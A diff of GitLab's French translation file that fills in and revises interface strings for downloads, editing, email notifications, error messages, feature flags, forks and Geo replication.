@@ -14409,7 +14606,7 @@ msgid "Discover|Start a free trial"
msgstr "Commencer un essai gratuit"
msgid "Discover|Upgrade now"
-msgstr ""
+msgstr "Mettre à niveau maintenant"
msgid "Discuss a specific suggestion or question internally that needs to be resolved."
msgstr "Discutez une suggestion ou une question spécifique en interne qui doit être résolue."
@@ -14450,7 +14647,7 @@ msgid "Dismiss trial promotion"
msgstr "Rejeter l’offre promotionnelle"
msgid "Dismissable"
-msgstr ""
+msgstr "Fermable"
msgid "Dismissed"
msgstr ""
@@ -14474,7 +14671,7 @@ msgid "Display milestones"
msgstr "Afficher les jalons"
msgid "Display name"
-msgstr ""
+msgstr "Nom affiché"
msgid "Display progress of child issues"
msgstr "Afficher la progression des tickets enfants"
@@ -14543,7 +14740,7 @@ msgid "Don't paste the private part of the GPG key. Paste the public part which
msgstr "Ne collez pas la partie privée de la clé GPG. Collez la partie publique qui commence par « -----BEGIN PGP PUBLIC KEY BLOCK----- »."
msgid "Don't send service data"
-msgstr ""
+msgstr "Ne pas envoyer les données du service"
msgid "Don't show again"
msgstr "Ne plus afficher"
@@ -14558,13 +14755,13 @@ msgid "Download"
msgstr "Télécharger"
msgid "Download %{format}"
-msgstr ""
+msgstr "Télécharger le %{format}"
msgid "Download %{format}:"
-msgstr ""
+msgstr "Télécharger le %{format} :"
msgid "Download (%{fileSizeReadable})"
-msgstr ""
+msgstr "Télécharger (%{fileSizeReadable})"
msgid "Download (%{size})"
msgstr "Télécharger (%{size})"
@@ -14582,7 +14779,7 @@ msgid "Download codes"
msgstr "Télécharger les codes"
msgid "Download evidence JSON"
-msgstr ""
+msgstr "Télécharger la preuve JSON"
msgid "Download export"
msgstr "Télécharger l'export"
@@ -14603,7 +14800,7 @@ msgid "Download this directory"
msgstr "Télécharger ce répertoire"
msgid "DownloadCommit|Email Patches"
-msgstr "Envoyer les correctifs par courriel"
+msgstr "Correctifs formatés en courriel"
msgid "DownloadCommit|Plain Diff"
msgstr "Pur diff"
@@ -14612,7 +14809,7 @@ msgid "DownloadSource|Download"
msgstr "Télécharger"
msgid "Downstream"
-msgstr ""
+msgstr "En aval"
msgid "Downvotes"
msgstr "Votes négatifs"
@@ -14669,10 +14866,10 @@ msgid "DropdownWidget|No open %{issuableAttribute} found"
msgstr "Aucun(e) %{issuableAttribute} ouvert(e) trouvé(e)"
msgid "DropdownWidget|You do not have permission to view the currently assigned %{issuableAttribute} and will not be able to choose it again if you reassign it."
-msgstr ""
+msgstr "Vous n'avez pas la permission d'afficher le %{issuableAttribute} actuellement assigné et ne pourrez pas le choisir à nouveau si vous le réassignez."
msgid "DropdownWidget|You don't have permission to view this %{issuableAttribute}."
-msgstr ""
+msgstr "Vous n’avez pas la permission de voir ce(tte) %{issuableAttribute}."
msgid "Due Date"
msgstr "Date d'échéance"
@@ -14746,6 +14943,9 @@ msgstr "Test dynamique de la sécurité des applications (DAST)"
msgid "E-mail:"
msgstr "Courriel :"
+msgid "ESM module"
+msgstr "Module ESM"
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr "Chaque projet peut également avoir un gestionnaire de tickets et un wiki."
@@ -14753,7 +14953,7 @@ msgid "Edit"
msgstr "Éditer"
msgid "Edit %{name}"
-msgstr ""
+msgstr "Modifier %{name}"
msgid "Edit %{profileType} profile"
msgstr "Modifier le profil du %{profileType}"
@@ -14804,7 +15004,7 @@ msgid "Edit application"
msgstr "Modifier l’application"
msgid "Edit audio description"
-msgstr ""
+msgstr "Modifier la description de l'audio"
msgid "Edit comment"
msgstr "Modifier le commentaire"
@@ -14888,7 +15088,7 @@ msgid "Edit user: %{user_name}"
msgstr "Modification d'utilisateur : %{user_name}"
msgid "Edit video description"
-msgstr ""
+msgstr "Modifier la description de la vidéo"
msgid "Edit wiki page"
msgstr "Modifier la page wiki"
@@ -14903,7 +15103,7 @@ msgid "Edit your search filter and try again."
msgstr "Modifiez votre filtre de recherche et réessayez."
msgid "Edit, lint, and visualize your pipeline."
-msgstr ""
+msgstr "Modifiez, lintez et visualisez vos pipelines."
msgid "Edited"
msgstr "Édité"
@@ -14933,7 +15133,7 @@ msgid "Elasticsearch indexing started"
msgstr "L'indexation Elasticsearch a démarré"
msgid "Elasticsearch migration halted"
-msgstr ""
+msgstr "La migration d'Elasticsearch s'est interrompue"
msgid "Elasticsearch reindexing is already in progress"
msgstr "Une réindexation Elasticsearch est déjà en cours"
@@ -14960,7 +15160,7 @@ msgid "Email %{number}"
msgstr "Courriel %{number}"
msgid "Email Notification"
-msgstr ""
+msgstr "Notification par courriel"
msgid "Email a new %{name} to this project"
msgstr "Cliquez pour une création de %{name} par courriel"
@@ -14987,7 +15187,7 @@ msgid "Email patch"
msgstr "Correctif par courriel"
msgid "Email patches"
-msgstr ""
+msgstr "Correctifs formatés en courriel"
msgid "Email sent"
msgstr "Le courriel a été envoyé"
@@ -14996,7 +15196,7 @@ msgid "Email the pipeline status to a list of recipients."
msgstr "Envoyer l'état du pipeline par courriel à une liste de destinataires."
msgid "Email updates (optional)"
-msgstr ""
+msgstr "Envoyer des actualités par courriel (facultatif)"
msgid "Email:"
msgstr "Courriel :"
@@ -15005,7 +15205,7 @@ msgid "Email: %{email}"
msgstr "Courriel : %{email}"
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
-msgstr ""
+msgstr "Il semble que le courriel est vide. Assurez-vous que votre réponse est au tout début du message, nous ne pouvons pas la traiter si elle figure ailleurs dans le texte."
msgid "EmailError|The thread you are replying to no longer exists, perhaps it was deleted? If you believe this is in error, contact a staff member."
msgstr "Le fil de discussion auquel vous répondez n'existe plus, peut-être a-t-il été supprimé ? Si vous pensez que c'est une erreur, contactez un membre du staff."
@@ -15056,7 +15256,7 @@ msgid "EmailsOnPushService|Email the commits and diff of each push to a list of
msgstr "Envoyer par courriel les commits et les diffs de chaque poussée à une liste de destinataires."
msgid "EmailsOnPushService|Emails on push"
-msgstr ""
+msgstr "Courriels lors des poussées"
msgid "EmailsOnPushService|Emails separated by whitespace."
msgstr "Adresses de courriel séparées par des espaces."
@@ -15146,7 +15346,7 @@ msgid "Enable authenticated Git LFS request rate limit"
msgstr "Activer la limite de fréquence des requêtes Git LFS authentifiées"
msgid "Enable authenticated web request rate limit"
-msgstr ""
+msgstr "Activer la limite de fréquence des requêtes Web authentifiées"
msgid "Enable authentication"
msgstr "Activer l'authentification"
@@ -15158,10 +15358,10 @@ msgid "Enable container expiration and retention policies for projects created e
msgstr "Activer les stratégies d'expiration et de conservation des conteneurs pour les projets créés avec des versions de GitLab antérieures à la 12.7."
msgid "Enable container expiration caching."
-msgstr ""
+msgstr "Activez la mise en cache pour l'expiration des conteneurs."
msgid "Enable dashboard limits on namespaces"
-msgstr ""
+msgstr "Activer les limitations du tableau de bord sur les espaces de noms"
msgid "Enable email notification"
msgstr "Activer la notification par courriel"
@@ -15182,7 +15382,7 @@ msgid "Enable header and footer in emails"
msgstr "Activer l'en-tête et le pied de page dans les courriels"
msgid "Enable in-product marketing emails"
-msgstr ""
+msgstr "Activer les courriels commerciaux intégrés au produit"
msgid "Enable incident management inbound alert limit"
msgstr "Activer la limite d'alerte entrante de la gestion des incidents"
@@ -15221,7 +15421,7 @@ msgid "Enable security training"
msgstr "Activer la formation à la sécurité"
msgid "Enable security training to help your developers learn how to fix vulnerabilities. Developers can view security training from selected educational providers, relevant to the detected vulnerability."
-msgstr ""
+msgstr "Activer la formation sur la sécurité pour aider vos développeurs à apprendre à corriger les vulnérabilités. Les développeurs peuvent voir la formation à la sécurité d'une sélection de plateformes d'apprentissage, adaptée à la vulnérabilité détectée."
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr "Activer les exécuteurs partagés pour tous les projets et sous-groupes de ce groupe."
@@ -15293,7 +15493,7 @@ msgid "Enabled OAuth authentication sources"
msgstr "Sources d'authentification OAuth activées"
msgid "End Time"
-msgstr ""
+msgstr "Heure de fin"
msgid "Ends"
msgstr "Se termine"
@@ -15302,10 +15502,10 @@ msgid "Ends at (UTC)"
msgstr "Se termine à (UTC)"
msgid "Ends on"
-msgstr ""
+msgstr "Finit le"
msgid "Ends: %{endsAt}"
-msgstr ""
+msgstr "Finit : %{endsAt}"
msgid "Enforce two-factor authentication"
msgstr "Imposer l'authentification à deux facteurs"
@@ -15317,10 +15517,10 @@ msgid "Enhance security by storing service account keys in secret managers - lea
msgstr "Améliorez la sécurité en stockant les clés de compte de service dans des gestionnaires de secrets - apprenez-en plus sur la %{docLinkStart}gestion de secrets avec GitLab%{docLinkEnd}"
msgid "Ensure connectivity is available from the GitLab server to the Prometheus server"
-msgstr ""
+msgstr "Assurez-vous que la connectivité est disponible depuis le serveur GitLab jusqu'au serveur Prometheus"
msgid "Ensure your %{linkStart}environment is part of the deploy stage%{linkEnd} of your CI pipeline to track deployments to your cluster."
-msgstr ""
+msgstr "Assurez-vous que votre %{linkStart}environnement fait partie de l'étape de déploiement%{linkEnd} de votre pipeline CI pour suivre les déploiements sur votre grappe de serveurs."
msgid "Enter %{weights_link_start}weights%{weights_link_end} for storages for new repositories. Configured storages appear below."
msgstr "Entrez les %{weights_link_start}poids%{weights_link_end} pour les stockages des nouveaux dépôts. Les stockages configurés apparaissent ci-dessous."
@@ -15548,7 +15748,7 @@ msgid "Environments|Environments"
msgstr "Environnements"
msgid "Environments|Environments are places where code gets deployed, such as staging or production."
-msgstr "Les environnements sont des endroits où le code est déployé, tel que l’étape ou la production."
+msgstr "Les environnements sont des endroits où le code est déployé, tels que la préproduction ou la production."
msgid "Environments|How do I create an environment?"
msgstr "Comment créer un environnement ?"
@@ -15740,7 +15940,7 @@ msgid "Epics|This epic and any containing child epics are confidential and shoul
msgstr "Cette épopée et toute épopée enfant qu'elle contiendrait sont confidentielles et ne devraient être visibles que par les membres de l’équipe ayant au moins un accès à Rapporteur."
msgid "Epics|This will also remove any descendents of %{bStart}%{targetEpicTitle}%{bEnd} from %{bStart}%{parentEpicTitle}%{bEnd}. Are you sure?"
-msgstr ""
+msgstr "Cela va également supprimer tous les descendants de %{bStart}%{targetEpicTitle}%{bEnd} à partir de %{bStart}%{parentEpicTitle}%{bEnd}. Êtes-vous sûr(e) ?"
msgid "Epics|Unable to save epic. Please try again"
msgstr "Impossible d'enregistrer l'épopée. Veuillez réessayer"
@@ -15788,10 +15988,10 @@ msgid "Error fetching burnup chart data"
msgstr "Erreur lors de la récupération des données du graphique d'évolution"
msgid "Error fetching diverging counts for branches. Please try again."
-msgstr ""
+msgstr "Une erreur s'est produite lors de la récupération du nombre de divergences pour les branches. Veuillez réessayer."
msgid "Error fetching forked projects. Please try again."
-msgstr ""
+msgstr "Erreur lors de la récupération des projets ayant bifurqué. Veuillez réessayer."
msgid "Error fetching labels."
msgstr "Erreur lors de la récupération des étiquettes."
@@ -15908,7 +16108,7 @@ msgid "Error tracking"
msgstr "Suivi des erreurs"
msgid "Error updating %{issuableType}"
-msgstr ""
+msgstr "Une erreur s'est produite lors de la mise à jour de %{issuableType}"
msgid "Error updating status for all to-do items."
msgstr "Erreur lors de la mise à jour de l'état de tous les pense-bêtes."
@@ -15929,7 +16129,7 @@ msgid "Error while loading the merge request. Please try again."
msgstr "Erreur lors du chargement de la demande de fusion. Veuillez réessayer."
msgid "Error while migrating %{upload_id}: %{error_message}"
-msgstr ""
+msgstr "Erreur lors de la migration de %{upload_id} : %{error_message}"
msgid "Error with Akismet. Please check the logs for more info."
msgstr "Erreur avec Akismet. Veuillez vérifier les journaux pour plus d'informations."
@@ -15943,11 +16143,8 @@ msgstr "Erreur : %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr "Erreur : Impossible de charger la totalité ou une partie des modifications."
-msgid "Error: No AWS credentials were supplied"
-msgstr "Erreur : Aucun identifiant AWS n'a été fourni"
-
-msgid "Error: No AWS provision role found for user"
-msgstr ""
+msgid "Error: Gitaly is unavailable. Contact your administrator."
+msgstr "Erreur : Gitaly n'est pas disponible. Contactez votre administrateur."
msgid "Error: Unable to create deploy freeze"
msgstr "Erreur : Impossible de créer le gel de déploiement"
@@ -15955,9 +16152,6 @@ msgstr "Erreur : Impossible de créer le gel de déploiement"
msgid "Error: Unable to delete deploy freeze"
msgstr "Erreur : Impossible de supprimer le gel de déploiement"
-msgid "Error: Unable to find AWS role for current user"
-msgstr "Erreur: Impossible de trouver le rôle AWS pour l'utilisateur actuel"
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "Le jeton d'accès est %{token_in_code_tag}"
@@ -16040,7 +16234,7 @@ msgid "EscalationPolicies|+ Add an additional rule"
msgstr "+ Ajouter une règle supplémentaire"
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
-msgstr ""
+msgstr "Un calendrier est requis pour pouvoir ajouter une politique d'escalade."
msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
msgstr "Un calendrier est indispensable à l'ajout d'une politique d'escalade. Veuillez commencer par créer un calendrier d'astreintes."
@@ -16070,7 +16264,7 @@ msgid "EscalationPolicies|Edit escalation policy"
msgstr "Modifier la politique d'escalade"
msgid "EscalationPolicies|Email on-call user in schedule"
-msgstr ""
+msgstr "Envoyer un courriel à l'utilisateur d'astreinte dans le calendrier"
msgid "EscalationPolicies|Email user"
msgstr "Envoyer un courriel à un utilisateur"
@@ -16133,7 +16327,7 @@ msgid "EscalationStatus|Triggered"
msgstr "Déclenché"
msgid "Estimate"
-msgstr ""
+msgstr "Estimation"
msgid "Estimated"
msgstr "Estimé"
@@ -16172,7 +16366,7 @@ msgid "Events"
msgstr "Événements"
msgid "Events API"
-msgstr ""
+msgstr "API d'événements"
msgid "Event|accepted"
msgstr ""
@@ -16187,7 +16381,7 @@ msgid "Event|closed"
msgstr "a fermé"
msgid "Event|commented on"
-msgstr ""
+msgstr "a mis un commentaire sur"
msgid "Event|created"
msgstr ""
@@ -16202,10 +16396,10 @@ msgid "Event|imported"
msgstr ""
msgid "Event|joined"
-msgstr ""
+msgstr "a rejoint"
msgid "Event|left"
-msgstr ""
+msgstr "a quitté"
msgid "Event|opened"
msgstr ""
@@ -16321,22 +16515,22 @@ msgid "Everything you need to create a GitLab Pages site using plain HTML"
msgstr "Tout ce dont vous avez besoin pour créer un site GitLab Pages avec du HTML brut"
msgid "Evidence collection"
-msgstr ""
+msgstr "Collecte de preuves"
msgid "Exactly one of %{attributes} is required"
msgstr ""
msgid "Example: (feature|hotfix)\\/*"
-msgstr ""
+msgstr "Exemple : (feature|hotfix)\\/*"
msgid "Example: (jar|exe)$"
msgstr "Exemple : (jar|exe)$"
msgid "Example: @sub\\.company\\.com$"
-msgstr ""
+msgstr "Exemple : @filiale\\.societe\\.com$"
msgid "Example: Fixes \\d+\\..*"
-msgstr ""
+msgstr "Exemple : Fixes \\d+\\..*"
msgid "Example: ssh\\:\\/\\/"
msgstr "Exemple : ssh\\:\\/\\/"
@@ -16345,7 +16539,7 @@ msgid "Examples"
msgstr "Exemples"
msgid "Except policy:"
-msgstr ""
+msgstr "Politique « except » :"
msgid "Exceptions"
msgstr "Exceptions"
@@ -16444,7 +16638,7 @@ msgid "Expired"
msgstr "Expiré"
msgid "Expired %{expiredOn}"
-msgstr ""
+msgstr "Expiré %{expiredOn}"
msgid "Expired:"
msgstr "Expiré :"
@@ -16455,9 +16649,6 @@ msgstr "Expire"
msgid "Expires %{preposition} %{expires_at}"
msgstr "Expire %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr "Expire le"
-
msgid "Expires:"
msgstr "Expire :"
@@ -16477,7 +16668,7 @@ msgid "Explore groups"
msgstr "Explorer les groupes"
msgid "Explore paid plans"
-msgstr ""
+msgstr "Explorer les forfaits payants"
msgid "Explore projects"
msgstr "Explorer les projets"
@@ -16491,9 +16682,6 @@ msgstr "Explorer les projets publics"
msgid "Explore snippets"
msgstr "Explorer les extraits"
-msgid "Explore topics"
-msgstr "Explorer les sujets"
-
msgid "Export"
msgstr "Exporter"
@@ -16647,7 +16835,7 @@ msgstr[0] "Tâche en échec"
msgstr[1] "Tâches en échec"
msgid "Failed on"
-msgstr ""
+msgstr "A échoué le"
msgid "Failed to add a Zoom meeting"
msgstr "Échec de l'ajout d'une réunion Zoom"
@@ -16700,7 +16888,7 @@ msgid "Failed to create framework"
msgstr "Échec de la création du framework"
msgid "Failed to create import label for jira import."
-msgstr ""
+msgstr "Échec de la création de l'étiquette d'importation pour l'importation de jira."
msgid "Failed to create repository"
msgstr "Échec de la création du dépôt"
@@ -16715,7 +16903,7 @@ msgid "Failed to deploy to"
msgstr "Échec du déploiement sur"
msgid "Failed to enqueue the rebase operation, possibly due to a long-lived transaction. Try again later."
-msgstr ""
+msgstr "Échec de la mise en file d'attente de l'opération de rebasage, peut-être en raison d'une transaction répartie. Réessayez plus tard."
msgid "Failed to fetch the iteration for this issue. Please try again."
msgstr "Échec de la récupération de l'itération de ce ticket. Veuillez réessayer."
@@ -16724,10 +16912,10 @@ msgid "Failed to fetch the iterations for the group. Please try again."
msgstr "Échec de la récupération des itérations du groupe. Veuillez réessayer."
msgid "Failed to find import label for Jira import."
-msgstr ""
+msgstr "Impossible de trouver l'étiquette d'importation pour l'importation Jira."
msgid "Failed to find users for %{missing}"
-msgstr ""
+msgstr "Impossible de trouver les utilisateurs pour %{missing}"
msgid "Failed to generate export, please try again later."
msgstr "Échec de la génération de l'export, veuillez réessayer plus tard."
@@ -16813,9 +17001,6 @@ msgstr "Échec du déplacement de ce ticket car une seule étiquette peut être
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Échec du déplacement de ce ticket car le projet cible n'existe pas."
-msgid "Failed to promote issue to incident"
-msgstr "La promotion du ticket en incident a échoué"
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Échec de la promotion de l'étiquette en raison d'une erreur interne. Veuillez contacter les administrateurs."
@@ -16871,7 +17056,7 @@ msgid "Failed to set due date because the date format is invalid."
msgstr "Échec de la définition de la date d'échéance car le format de date n'est pas valide."
msgid "Failed to set iteration on this issue. Please try again."
-msgstr ""
+msgstr "Impossible de définir l'itération sur ce ticket. Veuillez réessayer."
msgid "Failed to signing using smartcard authentication"
msgstr "Échec de la signature via authentification par carte à puce"
@@ -17002,7 +17187,7 @@ msgid "FeatureFlags|Enable features for specific users and environments by confi
msgstr "Activer des fonctionnalités pour des utilisateurs et des environnements spécifiques en configurant des stratégies d'indicateurs de fonctionnalités."
msgid "FeatureFlags|Environment Specs"
-msgstr ""
+msgstr "Specs d'Environnement"
msgid "FeatureFlags|Feature Flag"
msgstr "Indicateur de fonctionnalité"
@@ -17014,7 +17199,7 @@ msgid "FeatureFlags|Feature Flag User Lists"
msgstr "Listes d'Utilisateurs des Indicateurs de Fonctionnalités"
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
-msgstr ""
+msgstr "Le comportement d'un Indicateur de Fonctionnalité est construit en créant un ensemble de règles permettant de définir l'état des environnements cibles. Une règle générique par défaut %{codeStart}*%{codeEnd} est définie pour %{boldStart}Tous les environnements%{boldEnd} et vous pouvez ajouter autant de règles que nécessaire en sélectionnant les spécifications d'environnement ci-dessous. Vous pouvez modifier le comportement de chacune de vos règles pour les définir comme %{boldStart}Active%{boldEnd} ou %{boldStart}Inactive%{boldEnd}."
msgid "FeatureFlags|Feature Flag has no strategies"
msgstr "L'indicateur de fonctionnalité ne possède pas de stratégie"
@@ -17026,7 +17211,7 @@ msgid "FeatureFlags|Feature flag %{name} will be removed. Are you sure?"
msgstr "L’indicateur de fonctionnalité %{name} va être supprimé. Êtesâ€vous sûr(e) ?"
msgid "FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality."
-msgstr ""
+msgstr "Les indicateurs de fonctionnalité vous permettent de configurer votre code de différentes manières en activant ou non certaines fonctionnalités dynamiquement."
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr "Limite des indicateurs de fonctionnalité atteinte (%{featureFlagsLimit}). Supprimez un ou plusieurs indicateurs de fonctionnalité avant d'en ajouter de nouveaux."
@@ -17041,7 +17226,7 @@ msgid "FeatureFlags|Inactive"
msgstr "Inactif"
msgid "FeatureFlags|Inactive flag for %{scope}"
-msgstr ""
+msgstr "Indicateur inactif pour %{scope}"
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr "Installez une %{docsLinkAnchoredStart}bibliothèque cliente compatible%{docsLinkAnchoredEnd} et spécifiez l'URL de l'API, le nom de l'application et l'ID de l'instance au cours de la configuration. %{docsLinkStart}Plus d'informations%{docsLinkEnd}"
@@ -17092,7 +17277,7 @@ msgid "FeatureFlags|Search code references"
msgstr "Rechercher des références de code"
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
-msgstr ""
+msgstr "Définissez le nom de l'application dans le client Unleash avec le nom de l'environnement dans lequel votre application s'exécute. Cette valeur est utilisée pour faire correspondre les portées des environnements. Voir l'%{linkStart}exemple de configuration du client%{linkEnd}."
msgid "FeatureFlags|Status"
msgstr "État"
@@ -17152,7 +17337,7 @@ msgid "Feedback"
msgstr ""
msgid "Feedback and Updates"
-msgstr ""
+msgstr "Commentaires et mises à jour"
msgid "Fetch and check out this merge request's feature branch:"
msgstr "Récupérez et basculez sur la branche de fonctionnalité de cette demande de fusion :"
@@ -17173,7 +17358,7 @@ msgid "File Hooks (%{count})"
msgstr "Fichiers de crochet (%{count})"
msgid "File Tree"
-msgstr ""
+msgstr "Arborescence des fichiers"
msgid "File added"
msgstr "Fichier ajouté"
@@ -17188,13 +17373,13 @@ msgid "File hooks are similar to system hooks but are executed as files instead
msgstr "Les fichiers de crochet sont similaires aux crochets du système mais sont exécutés sous forme de fichiers plutôt que par l'envoi de données vers une URL."
msgid "File mode changed from %{a_mode} to %{b_mode}"
-msgstr ""
+msgstr "Les permissions du fichier ont été modifiées de %{a_mode} à %{b_mode}"
msgid "File moved"
msgstr "Fichier déplacé"
msgid "File name"
-msgstr ""
+msgstr "Nom du fichier"
msgid "File renamed with no changes."
msgstr "Fichier renommé sans changement."
@@ -17221,13 +17406,13 @@ msgid "Files API Rate Limits"
msgstr "Limitations de fréquence de l'API des fichiers"
msgid "Files breadcrumb"
-msgstr ""
+msgstr "Fil d'Ariane des fichiers"
msgid "Files with large changes are collapsed by default."
msgstr "Les fichiers avec des modifications importantes sont réduits par défaut."
msgid "Files, directories, and submodules in the path %{path} for commit reference %{ref}"
-msgstr ""
+msgstr "Fichiers, répertoires et sous-modules dans le chemin %{path} pour la référence de commit %{ref}"
msgid "Fill in the fields below, turn on %{strong_open}Enable SAML authentication for this group%{strong_close}, and press %{strong_open}Save changes%{strong_close}"
msgstr "Remplissez les champs ci-dessous, activez %{strong_open}Activer l'authentification SAML pour ce groupe%{strong_close} et appuyez sur %{strong_open}Enregistrer les modifications%{strong_close}"
@@ -17241,9 +17426,6 @@ msgstr "Filtrer par"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "Filtrer sur les %{page_context_word} qui sont actuellement ouvert(e)s."
-msgid "Filter by Git revision"
-msgstr "Filtrer par révision Git"
-
msgid "Filter by issues that are currently closed."
msgstr "Filtrer sur les tickets qui sont actuellement fermés."
@@ -17347,7 +17529,7 @@ msgid "First name"
msgstr "Prénom"
msgid "First seen"
-msgstr ""
+msgstr "Vu pour la première fois"
msgid "Fixed"
msgstr ""
@@ -17356,10 +17538,10 @@ msgid "Fixed burndown chart"
msgstr "Graphique d'avancement corrigé"
msgid "Fixed:"
-msgstr "Corrigé :"
+msgstr "Fixée :"
msgid "Flags"
-msgstr ""
+msgstr "Drapeaux"
msgid "FloC|Configure whether you want to participate in FLoC. %{floc_link_start}What is FLoC?%{floc_link_end}"
msgstr "Configurez si vous souhaitez participer à FLoC. %{floc_link_start}Qu'est-ce-que FLoC ?%{floc_link_end}"
@@ -17371,7 +17553,7 @@ msgid "FloC|Participate in FLoC"
msgstr "Participer à FLoC"
msgid "Focus filter bar"
-msgstr ""
+msgstr "Sélectionner la barre des filtres"
msgid "FogBugz Email"
msgstr "Courriel de FogBugz"
@@ -17452,7 +17634,7 @@ msgid "For more info, read the documentation."
msgstr "Pour en savoir plus, lisez la documentation."
msgid "For more information on how the number of active users is calculated, see the %{self_managed_subscriptions_doc_link} documentation."
-msgstr "Pour plus d'informations sur la façon dont le nombre d'utilisateurs actifs est calculé, consultez la %{self_managed_subscriptions_doc_link}documentation."
+msgstr "Pour plus d'informations sur la façon dont le nombre d'utilisateurs actifs est calculé, consultez la documentation sur les %{self_managed_subscriptions_doc_link}."
msgid "For more information, go to the "
msgstr "Pour plus d’informations, consultez "
@@ -17461,7 +17643,7 @@ msgid "For more information, see the File Hooks documentation."
msgstr "Pour plus d'informations, reportez-vous à la documentation sur les fichiers de crochet."
msgid "Forbidden"
-msgstr ""
+msgstr "Interdit"
msgid "Forgot your password?"
msgstr "Mot de passe oublié ?"
@@ -17473,13 +17655,13 @@ msgid "Fork Error!"
msgstr ""
msgid "Fork project"
-msgstr ""
+msgstr "Créer une divergence"
msgid "Fork project?"
-msgstr ""
+msgstr "Créer un projet divergent ?"
msgid "ForkProject|A fork is a copy of a project."
-msgstr ""
+msgstr "Un fork est une copie d'un projet."
msgid "ForkProject|An error occurred while forking the project. Please try again."
msgstr "Une erreur s'est produite lors de la création du projet divergent. Veuillez réessayer."
@@ -17551,29 +17733,26 @@ msgid "Forking in progress"
msgstr "Divergence en cours"
msgid "Forks"
-msgstr ""
+msgstr "Divergences"
msgid "ForksDivergence|%{ahead} %{commit_word} ahead of"
-msgstr ""
+msgstr "%{ahead} %{commit_word} d'avance par rapport au"
msgid "ForksDivergence|%{behind} %{commit_word} behind"
-msgstr ""
+msgstr "%{behind} %{commit_word} de retard par rapport au"
msgid "ForksDivergence|%{messages} upstream repository"
-msgstr ""
+msgstr "%{messages} dépôt amont"
+
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr "Le fork a divergé du dépôt amont"
msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
+msgstr "À jour avec le dépôt amont"
msgid "Format: %{dateFormat}"
msgstr "Format : %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Erreurs trouvées dans votre %{gitlab_ci_yml} :"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Erreurs trouvées dans votre fichier .gitlab-ci.yml :"
-
msgid "Framework successfully deleted"
msgstr "Framework supprimé avec succès"
@@ -17643,7 +17822,7 @@ msgid "From %{code_open}%{source_title}%{code_close} into"
msgstr "De %{code_open}%{source_title}%{code_close} vers"
msgid "From %{providerTitle}"
-msgstr ""
+msgstr "De %{providerTitle}"
msgid "From issue creation until deploy to production"
msgstr "Depuis la création du ticket jusqu’au déploiement en production"
@@ -17652,7 +17831,7 @@ msgid "From merge request merge until deploy to production"
msgstr "Depuis la fusion de la demande de fusion jusqu’au déploiement en production"
msgid "Full"
-msgstr ""
+msgstr "Complète"
msgid "Full log"
msgstr "Journaux complets"
@@ -17669,11 +17848,14 @@ msgstr "ID de la clé GPG :"
msgid "GPG Keys"
msgstr "Clés GPG"
+msgid "GPG key mismatch"
+msgstr "La clé GPG ne correspond pas"
+
msgid "GPG keys allow you to verify signed commits."
msgstr "Les clés GPG vous permettent de vérifier les commits signés."
msgid "GPG signature (loading...)"
-msgstr ""
+msgstr "Signature GPG (chargement ...)"
msgid "General"
msgstr "Général"
@@ -17773,13 +17955,13 @@ msgid "Geo|%{name} is scheduled for re-sync"
msgstr "%{name} est programmé pour la reâ€synchronisation"
msgid "Geo|%{name} is scheduled for re-verify"
-msgstr ""
+msgstr "%{name} est programmé pour revérification"
msgid "Geo|%{timeAgoStr} (%{pendingEvents} events)"
msgstr "%{timeAgoStr} (%{pendingEvents} événements)"
msgid "Geo|%{title} checksum progress"
-msgstr ""
+msgstr "Progression de la vérification de la somme de contrôle des %{title}"
msgid "Geo|Add New Site"
msgstr "Ajouter un nouveau site"
@@ -17818,7 +18000,7 @@ msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr "L'adresse IP autorisée de Geo doit contenir des adresses IP valides"
msgid "Geo|Checksummed"
-msgstr ""
+msgstr "Vérifié"
msgid "Geo|Choose specific groups or storage shards"
msgstr "Choisir des groupes ou des fragments de stockage spécifiques"
@@ -17863,7 +18045,7 @@ msgid "Geo|Discover GitLab Geo"
msgstr "Découvrez GitLab Geo"
msgid "Geo|Does not match the primary storage configuration"
-msgstr ""
+msgstr "Ne correspond pas à la configuration de stockage principale"
msgid "Geo|Edit %{nodeType} site"
msgstr "Modifier le site %{nodeType}"
@@ -17947,7 +18129,7 @@ msgid "Geo|Last event ID processed by cursor"
msgstr "ID du dernier événement traité par le curseur"
msgid "Geo|Last repository check run"
-msgstr ""
+msgstr "Dernière exécution de la vérification du dépôt"
msgid "Geo|Last successful sync"
msgstr "Dernière synchro réussie"
@@ -18001,7 +18183,7 @@ msgid "Geo|Nothing found…"
msgstr "Rien n'a été trouvé..."
msgid "Geo|Nothing to checksum"
-msgstr ""
+msgstr "Rien à vérifier"
msgid "Geo|Nothing to synchronize"
msgstr "Rien à synchroniser"
@@ -18022,7 +18204,7 @@ msgid "Geo|Pending verification"
msgstr "En attente de vérification"
msgid "Geo|Primary"
